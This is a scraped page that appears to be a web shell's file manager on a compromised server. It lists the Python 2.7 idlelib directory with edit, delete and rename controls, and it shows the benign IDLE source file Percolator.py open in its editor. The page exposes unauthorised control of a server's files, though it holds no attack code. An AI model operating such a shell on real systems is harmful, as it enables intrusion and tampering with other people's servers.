SM0 She11
Path:
/
/
usr
/
lib64
/
python2.7
/
idlelib
Full Path (server): /usr/lib64/python2.7/idlelib
Create Fil3
Upl04d Fil3
📄 AutoComplete.py
[E]
[D]
[R]
📄 AutoComplete.pyc
[E]
[D]
[R]
📄 AutoComplete.pyo
[E]
[D]
[R]
📄 AutoCompleteWindow.py
[E]
[D]
[R]
📄 AutoCompleteWindow.pyc
[E]
[D]
[R]
📄 AutoCompleteWindow.pyo
[E]
[D]
[R]
📄 AutoExpand.py
[E]
[D]
[R]
📄 AutoExpand.pyc
[E]
[D]
[R]
📄 AutoExpand.pyo
[E]
[D]
[R]
📄 Bindings.py
[E]
[D]
[R]
📄 Bindings.pyc
[E]
[D]
[R]
📄 Bindings.pyo
[E]
[D]
[R]
📄 CREDITS.txt
[E]
[D]
[R]
📄 CallTipWindow.py
[E]
[D]
[R]
📄 CallTipWindow.pyc
[E]
[D]
[R]
📄 CallTipWindow.pyo
[E]
[D]
[R]
📄 CallTips.py
[E]
[D]
[R]
📄 CallTips.pyc
[E]
[D]
[R]
📄 CallTips.pyo
[E]
[D]
[R]
📄 ChangeLog
[E]
[D]
[R]
📄 ClassBrowser.py
[E]
[D]
[R]
📄 ClassBrowser.pyc
[E]
[D]
[R]
📄 ClassBrowser.pyo
[E]
[D]
[R]
📄 CodeContext.py
[E]
[D]
[R]
📄 CodeContext.pyc
[E]
[D]
[R]
📄 CodeContext.pyo
[E]
[D]
[R]
📄 ColorDelegator.py
[E]
[D]
[R]
📄 ColorDelegator.pyc
[E]
[D]
[R]
📄 ColorDelegator.pyo
[E]
[D]
[R]
📄 Debugger.py
[E]
[D]
[R]
📄 Debugger.pyc
[E]
[D]
[R]
📄 Debugger.pyo
[E]
[D]
[R]
📄 Delegator.py
[E]
[D]
[R]
📄 Delegator.pyc
[E]
[D]
[R]
📄 Delegator.pyo
[E]
[D]
[R]
📄 EditorWindow.py
[E]
[D]
[R]
📄 EditorWindow.pyc
[E]
[D]
[R]
📄 EditorWindow.pyo
[E]
[D]
[R]
📄 FileList.py
[E]
[D]
[R]
📄 FileList.pyc
[E]
[D]
[R]
📄 FileList.pyo
[E]
[D]
[R]
📄 FormatParagraph.py
[E]
[D]
[R]
📄 FormatParagraph.pyc
[E]
[D]
[R]
📄 FormatParagraph.pyo
[E]
[D]
[R]
📄 GrepDialog.py
[E]
[D]
[R]
📄 GrepDialog.pyc
[E]
[D]
[R]
📄 GrepDialog.pyo
[E]
[D]
[R]
📄 HISTORY.txt
[E]
[D]
[R]
📄 HyperParser.py
[E]
[D]
[R]
📄 HyperParser.pyc
[E]
[D]
[R]
📄 HyperParser.pyo
[E]
[D]
[R]
📄 IOBinding.py
[E]
[D]
[R]
📄 IOBinding.pyc
[E]
[D]
[R]
📄 IOBinding.pyo
[E]
[D]
[R]
📁 Icons
Open
[D]
[R]
📄 IdleHistory.py
[E]
[D]
[R]
📄 IdleHistory.pyc
[E]
[D]
[R]
📄 IdleHistory.pyo
[E]
[D]
[R]
📄 MultiCall.py
[E]
[D]
[R]
📄 MultiCall.pyc
[E]
[D]
[R]
📄 MultiCall.pyo
[E]
[D]
[R]
📄 MultiStatusBar.py
[E]
[D]
[R]
📄 MultiStatusBar.pyc
[E]
[D]
[R]
📄 MultiStatusBar.pyo
[E]
[D]
[R]
📄 NEWS.txt
[E]
[D]
[R]
📄 ObjectBrowser.py
[E]
[D]
[R]
📄 ObjectBrowser.pyc
[E]
[D]
[R]
📄 ObjectBrowser.pyo
[E]
[D]
[R]
📄 OutputWindow.py
[E]
[D]
[R]
📄 OutputWindow.pyc
[E]
[D]
[R]
📄 OutputWindow.pyo
[E]
[D]
[R]
📄 ParenMatch.py
[E]
[D]
[R]
📄 ParenMatch.pyc
[E]
[D]
[R]
📄 ParenMatch.pyo
[E]
[D]
[R]
📄 PathBrowser.py
[E]
[D]
[R]
📄 PathBrowser.pyc
[E]
[D]
[R]
📄 PathBrowser.pyo
[E]
[D]
[R]
📄 Percolator.py
[E]
[D]
[R]
📄 Percolator.pyc
[E]
[D]
[R]
📄 Percolator.pyo
[E]
[D]
[R]
📄 PyParse.py
[E]
[D]
[R]
📄 PyParse.pyc
[E]
[D]
[R]
📄 PyParse.pyo
[E]
[D]
[R]
📄 PyShell.py
[E]
[D]
[R]
📄 PyShell.pyc
[E]
[D]
[R]
📄 PyShell.pyo
[E]
[D]
[R]
📄 README.txt
[E]
[D]
[R]
📄 RemoteDebugger.py
[E]
[D]
[R]
📄 RemoteDebugger.pyc
[E]
[D]
[R]
📄 RemoteDebugger.pyo
[E]
[D]
[R]
📄 RemoteObjectBrowser.py
[E]
[D]
[R]
📄 RemoteObjectBrowser.pyc
[E]
[D]
[R]
📄 RemoteObjectBrowser.pyo
[E]
[D]
[R]
📄 ReplaceDialog.py
[E]
[D]
[R]
📄 ReplaceDialog.pyc
[E]
[D]
[R]
📄 ReplaceDialog.pyo
[E]
[D]
[R]
📄 RstripExtension.py
[E]
[D]
[R]
📄 RstripExtension.pyc
[E]
[D]
[R]
📄 RstripExtension.pyo
[E]
[D]
[R]
📄 ScriptBinding.py
[E]
[D]
[R]
📄 ScriptBinding.pyc
[E]
[D]
[R]
📄 ScriptBinding.pyo
[E]
[D]
[R]
📄 ScrolledList.py
[E]
[D]
[R]
📄 ScrolledList.pyc
[E]
[D]
[R]
📄 ScrolledList.pyo
[E]
[D]
[R]
📄 SearchDialog.py
[E]
[D]
[R]
📄 SearchDialog.pyc
[E]
[D]
[R]
📄 SearchDialog.pyo
[E]
[D]
[R]
📄 SearchDialogBase.py
[E]
[D]
[R]
📄 SearchDialogBase.pyc
[E]
[D]
[R]
📄 SearchDialogBase.pyo
[E]
[D]
[R]
📄 SearchEngine.py
[E]
[D]
[R]
📄 SearchEngine.pyc
[E]
[D]
[R]
📄 SearchEngine.pyo
[E]
[D]
[R]
📄 StackViewer.py
[E]
[D]
[R]
📄 StackViewer.pyc
[E]
[D]
[R]
📄 StackViewer.pyo
[E]
[D]
[R]
📄 TODO.txt
[E]
[D]
[R]
📄 ToolTip.py
[E]
[D]
[R]
📄 ToolTip.pyc
[E]
[D]
[R]
📄 ToolTip.pyo
[E]
[D]
[R]
📄 TreeWidget.py
[E]
[D]
[R]
📄 TreeWidget.pyc
[E]
[D]
[R]
📄 TreeWidget.pyo
[E]
[D]
[R]
📄 UndoDelegator.py
[E]
[D]
[R]
📄 UndoDelegator.pyc
[E]
[D]
[R]
📄 UndoDelegator.pyo
[E]
[D]
[R]
📄 WidgetRedirector.py
[E]
[D]
[R]
📄 WidgetRedirector.pyc
[E]
[D]
[R]
📄 WidgetRedirector.pyo
[E]
[D]
[R]
📄 WindowList.py
[E]
[D]
[R]
📄 WindowList.pyc
[E]
[D]
[R]
📄 WindowList.pyo
[E]
[D]
[R]
📄 ZoomHeight.py
[E]
[D]
[R]
📄 ZoomHeight.pyc
[E]
[D]
[R]
📄 ZoomHeight.pyo
[E]
[D]
[R]
📄 __init__.py
[E]
[D]
[R]
📄 __init__.pyc
[E]
[D]
[R]
📄 __init__.pyo
[E]
[D]
[R]
📄 aboutDialog.py
[E]
[D]
[R]
📄 aboutDialog.pyc
[E]
[D]
[R]
📄 aboutDialog.pyo
[E]
[D]
[R]
📄 config-extensions.def
[E]
[D]
[R]
📄 config-highlight.def
[E]
[D]
[R]
📄 config-keys.def
[E]
[D]
[R]
📄 config-main.def
[E]
[D]
[R]
📄 configDialog.py
[E]
[D]
[R]
📄 configDialog.pyc
[E]
[D]
[R]
📄 configDialog.pyo
[E]
[D]
[R]
📄 configHandler.py
[E]
[D]
[R]
📄 configHandler.pyc
[E]
[D]
[R]
📄 configHandler.pyo
[E]
[D]
[R]
📄 configHelpSourceEdit.py
[E]
[D]
[R]
📄 configHelpSourceEdit.pyc
[E]
[D]
[R]
📄 configHelpSourceEdit.pyo
[E]
[D]
[R]
📄 configSectionNameDialog.py
[E]
[D]
[R]
📄 configSectionNameDialog.pyc
[E]
[D]
[R]
📄 configSectionNameDialog.pyo
[E]
[D]
[R]
📄 dynOptionMenuWidget.py
[E]
[D]
[R]
📄 dynOptionMenuWidget.pyc
[E]
[D]
[R]
📄 dynOptionMenuWidget.pyo
[E]
[D]
[R]
📄 extend.txt
[E]
[D]
[R]
📄 help.txt
[E]
[D]
[R]
📄 idle.py
[E]
[D]
[R]
📄 idle.pyc
[E]
[D]
[R]
📄 idle.pyo
[E]
[D]
[R]
📄 idle.pyw
[E]
[D]
[R]
📄 idlever.py
[E]
[D]
[R]
📄 idlever.pyc
[E]
[D]
[R]
📄 idlever.pyo
[E]
[D]
[R]
📄 keybindingDialog.py
[E]
[D]
[R]
📄 keybindingDialog.pyc
[E]
[D]
[R]
📄 keybindingDialog.pyo
[E]
[D]
[R]
📄 macosxSupport.py
[E]
[D]
[R]
📄 macosxSupport.pyc
[E]
[D]
[R]
📄 macosxSupport.pyo
[E]
[D]
[R]
📄 rpc.py
[E]
[D]
[R]
📄 rpc.pyc
[E]
[D]
[R]
📄 rpc.pyo
[E]
[D]
[R]
📄 run.py
[E]
[D]
[R]
📄 run.pyc
[E]
[D]
[R]
📄 run.pyo
[E]
[D]
[R]
📄 tabbedpages.py
[E]
[D]
[R]
📄 tabbedpages.pyc
[E]
[D]
[R]
📄 tabbedpages.pyo
[E]
[D]
[R]
📄 textView.py
[E]
[D]
[R]
📄 textView.pyc
[E]
[D]
[R]
📄 textView.pyo
[E]
[D]
[R]
Editing: Percolator.py
from idlelib.WidgetRedirector import WidgetRedirector from idlelib.Delegator import Delegator class Percolator: def __init__(self, text): # XXX would be nice to inherit from Delegator self.text = text self.redir = WidgetRedirector(text) self.top = self.bottom = Delegator(text) self.bottom.insert = self.redir.register("insert", self.insert) self.bottom.delete = self.redir.register("delete", self.delete) self.filters = [] def close(self): while self.top is not self.bottom: self.removefilter(self.top) self.top = None self.bottom.setdelegate(None); self.bottom = None self.redir.close(); self.redir = None self.text = None def insert(self, index, chars, tags=None): # Could go away if inheriting from Delegator self.top.insert(index, chars, tags) def delete(self, index1, index2=None): # Could go away if inheriting from Delegator self.top.delete(index1, index2) def insertfilter(self, filter): # Perhaps rename to pushfilter()? assert isinstance(filter, Delegator) assert filter.delegate is None filter.setdelegate(self.top) self.top = filter def removefilter(self, filter): # XXX Perhaps should only support popfilter()? assert isinstance(filter, Delegator) assert filter.delegate is not None f = self.top if f is filter: self.top = filter.delegate filter.setdelegate(None) else: while f.delegate is not filter: assert f is not self.bottom f.resetcache() f = f.delegate f.setdelegate(filter.delegate) filter.setdelegate(None) def main(): class Tracer(Delegator): def __init__(self, name): self.name = name Delegator.__init__(self, None) def insert(self, *args): print self.name, ": insert", args self.delegate.insert(*args) def delete(self, *args): print self.name, ": delete", args self.delegate.delete(*args) root = Tk() root.wm_protocol("WM_DELETE_WINDOW", root.quit) text = Text() text.pack() text.focus_set() p = Percolator(text) t1 = Tracer("t1") t2 = Tracer("t2") p.insertfilter(t1) p.insertfilter(t2) root.mainloop() p.removefilter(t2) root.mainloop() p.insertfilter(t2) p.removefilter(t1) root.mainloop() if __name__ == "__main__": from Tkinter import * main()
Save